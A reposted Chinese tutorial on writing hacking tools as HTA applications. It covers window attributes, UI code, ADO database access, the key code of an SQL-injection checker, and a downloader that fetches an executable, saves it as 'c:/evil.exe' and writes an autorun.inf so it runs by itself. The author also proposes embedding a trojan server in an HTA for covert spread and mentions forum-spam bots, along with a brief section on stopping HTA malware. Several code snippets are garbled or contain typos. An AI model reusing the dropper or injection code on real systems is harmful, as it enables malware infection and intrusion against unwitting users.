概述
导读:
早在《VBS写黑软》完成之后就打算写这篇续文了,可一直被一大堆事情烦着。三个月前,奶奶走了,整理遗物时发现了一袋没有开封的黑芝麻糊,那是我用《VBS写黑软》的稿费买给奶奶的。唉,老太太就是这样,什么都舍不得。所以在这里想对我的同龄人说一句:树欲静而风不止,子欲养而亲不在。千万不要吝惜你的孝心,哪怕只是能让老人开心的一笑,也要尽力去做。谨以此文纪念我的奶奶——郭秀荣。
有点扯远了,回到正题中。可能很多人还不知道HTA是什么东西,我先来解释一下。
HTA是HyperText Application的缩写,支持HTML中的绝大多数标签、脚本,并且比HTML多了HTA:Application标签,这个标签提供了一系列面向应用程序的功能,它的各种属性如下:
APPLICATIONNAME属性(applicationName):设置HTA的名称。
BORDER属性(border):设置为HTA的窗口边框类型,默认值为thick。它可以设为thick,指定窗口为粗边框;dialog window,指定窗口为对话框;none,指定窗口无边框;thin,指定窗口为窄边框。
BORDERSTYLE属性(borderStyle):设置HTA窗口的边框格式,默认值为 normal。它可以设为normal,普通边框格式;complex,凹凸格式组合边框;raised,凸出的3D边框;static 3,边框格式;sunken,凹进的3D边框。
CAPTION属性(caption):设置HTA窗口是否显示标题栏或标题,默认值为 yes。
ICON属性(icon):设置应用程序的图标。
MAXIMIZEBUTTON属性(maximizeButton):设置是否在HTA窗口中显示最大化按钮,默认值为yes。
MINIMIZEBUTTON属性(minimizeButton):设置是否在HTA窗口中显示最小化按钮,默认值为yes。
SHOWINTASKBAR属性(showInTaskBar):设置是否在任务栏中显示此应用程序,默认值为yes。
SINGLEINSTANCE属性(singleInstance):设置是否此应用程序同时只能运行一次。此属性以APPLICATIONNAME属性作为标识,默认值为no。
SYSMENU属性(sysMenu):设置是否在HTA窗口中显示系统菜单,默认值为yes。
VERSION属性(version):设置应用程序的版本,默认值为空。
WINDOWSTATE属性(windowState):设置HTA窗口的初始大小,默认值为normal。它可以设为normal,默认大小;minmize,最小化;maximize,最大化。
以上括号中的文字是在脚本中引用的属性,在脚本中以上属性皆为只读属性。此外,在脚本中还可以使用commandLine属性来检索应用程序启动时的参数。
对比VBS,本文仍要涉及到用户界面的创建;简单的应用,包括文件操作和网络操作;防范措施,以及自己写的小玩意儿。
创建用户界面
从感觉上来说,HTA就是一个“控件级应用程序”(姑且这么叫吧)的开发平台,这一点使得用HTA创建用户界面相当简单,不再像VBS那样先创建IE的Application,然后再一行行向其document中writeline了。由于其本质是HTML,又能完美地支持CSS,所以网页有多漂亮,HTA就可以有多漂亮。为了证实所言非虚。
VB的这个界面可是要耗费掉你16K的硬盘空间啊,而这个HTA版的只有4K,其代码如下:
sysmenu=no
maximizebutton=no
icon=%systemroot%/system32/cmd.exe> sysmenu=no
maximizebutton=no
icon=%systemroot%/system32/cmd.exe>
<script. language=vbscript>
sub window_onload
w=400
h=300
window.resizeto w,h
window.moveto (screen.width-w)/2,(screen.height-h)/2
window.document.body.style.backgroundcolor="buttonface"
window.document.body.style.borderstyle="none"
end sub
</script>
CSS控制下的表单项就更好玩了,看一下平直风格的按钮吧!代码如下。
简单应用
《VBS写黑软》中提到了WMI,这次还得先拿WMI说事儿。写上一篇文章时我对WMI还不甚了解,所以当时不敢胡说八道(现在敢了?呵呵),后来发现微软中国站中就有一个用HTA写的WMI查询工具,把WMI介绍得清清楚楚明明白白真真切切。该工具运行时的界面如图2所示。看得出来,HTA不简单吧?
1)文件操作
文件操作其实还是FSO控件的应用,再说一遍恐怕有骗稿费之嫌,这次弄个好玩儿一点的吧,能读写数据库和二进制文件的ADO。假设database.mdb中有一张user表,表中有name段为kubau0、type段为genius的一条记录。我们为HTA中名为searchit的button表单项添加如下过程:
sub searchit_click
database="database.mdb"
set conn=createobject("adodb.connection")
strconnect="driver={microsoft access driver(*.mdb)};dbq="&database
conn.open strconnect
set rs=createobject("adodb.recordset")
sql="select * from user wher name=kubau0"
rs.open sql,conn,1,3
msgbox "kubau0类型为"&rs("type")
end sub
做好后单击这个按钮,就会弹出对话框(哪扔来的西红柿?),如图3所示。
ADO另外一个好玩的功能就是读写二进制文件,要是把木马Server端以二进制形式写在HTA中传播的话,嘿嘿,还真是隐蔽啊!
2)网络操作
网络操作自然要用到网络控件,比如WshNetwork、XML之类的,干说没意思,还是结合例子吧。
半年前我曾用很早以前黑防上的一篇文章《自己写注入工具体验注入快感》的思路,结合XML写了一个SQL注入工具,说来惭愧,注入Localhost时成功了,实战时却怎么也不行,总提示连接失败,所以这里只把关键代码贴出来吧。
function geturl(url)
set xml=createobject("microsoft.xmlhttp")
pageback=xml.open("get",url,false)
xml.send()
pageback=xml.responsebody
geturl=pageback
end function
function chkpage(pageback,suckey,errkey)
if instr(pageback,suckey)>0 then
chkpage=true
exit function
end if
if instr(pageback,errkey)>0 then
chkpage=false
exit function
end if
chkpage=false
msgbox "关键字错误或连接错误"
end function
这里是利用返回报文是否包含关键字来判断是否可注入的。结合上面的ADO,我们就可以用HTA写一个简单的下载器了,其代码如下。
set xml=createobjext("microsoft.xmlhttp")
xml.open("get","http://www.target.com/server.exe",false)
xml.send()
set ado=createobject("adodb.stream")
ado.mode=3
ado.type=1
ado.open
ado.write(xml.responsebody)
ado.savetofile("c:/evil.exe",2)
set fso=createobject("scripting.filesystemobject")
set auto=fso.createtextfile("c:/autorun.inf",true)
auto.writeln "[autorun]"
auto.writeln "open=evil.exe"
用HTA加网络控件写个刷帖器什么的,应该挺好玩儿的,要是碰上验证码,个人感觉黑防2006年11期《自动发帖机,论坛和留言本的捣乱者》一文中提到的晨风论坛灌水机所采用的方法不错,就是存入数据库,这里就不详细介绍了,大家可以自己去实践一下!
防范
防HTA毒的方法其实就是防脚本毒的方法,因为微软要把HTA作为“控件级应用程序”的开发平台,只不过IE会对HTML中的危险脚本进行提示,而HTA不会,这也为HTA作为病毒应用提供了方便。但HTA也有弱点,因为它毕竟不是真正的可执行程序,要依赖mshta.exe解释执行,所以把mshta.exe结束掉,HTA也就Over了;并且HTA作为脚本语言,也没有API可用,这也在很大程度上限制了HTA的应用。
自己写的小玩意儿
在前文中,我已经提到过很多自己写的例子了,但是最用心写的注射工具却夭折了,伤心。因为最近常有人问我ASCII码的查询问题,所以在文章最后给大家提供一个查询工具,界面如图4所示,其代码如下。
sysmenu=no
maximizebutton=no
icon=%systemroot%/system32/cmd.exe> sysmenu=no
maximizebutton=no
icon=%systemroot%/system32/cmd.exe>
<script. language=vbscript>
private clicktime
sub window_onload
w=400
h=600
window.resizeto w,h
window.moveto (screen.width-w)/2,(screen.height-h)/2
window.document.body.style.backgroundcolor="buttonface"
window.document.body.style.borderstyle="none"
clicktime=1
end sub
sub word_onclick
if clicktime=1 then
me.value=""
clicktime=2
end if
end sub
sub searchit_onclick
if document.vbform.word.value<>"" then
a=cstr(document.vbform.word.value)
l=len(a)
set x=result.document
x.open
x.writeln ""
x.writeln "
next
x.writeln "
x.writeln ""
x.close
end if
end sub
sub closewindow_onclick
window.close
end sub
</script>
|
|
|
本文转自
http://blog.ixpub.net/html/32/10010632-183.html
最后
以上就是爱听歌胡萝卜为你收集整理的HTA写黑软的全部内容,希望文章能够帮你解决HTA写黑软所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复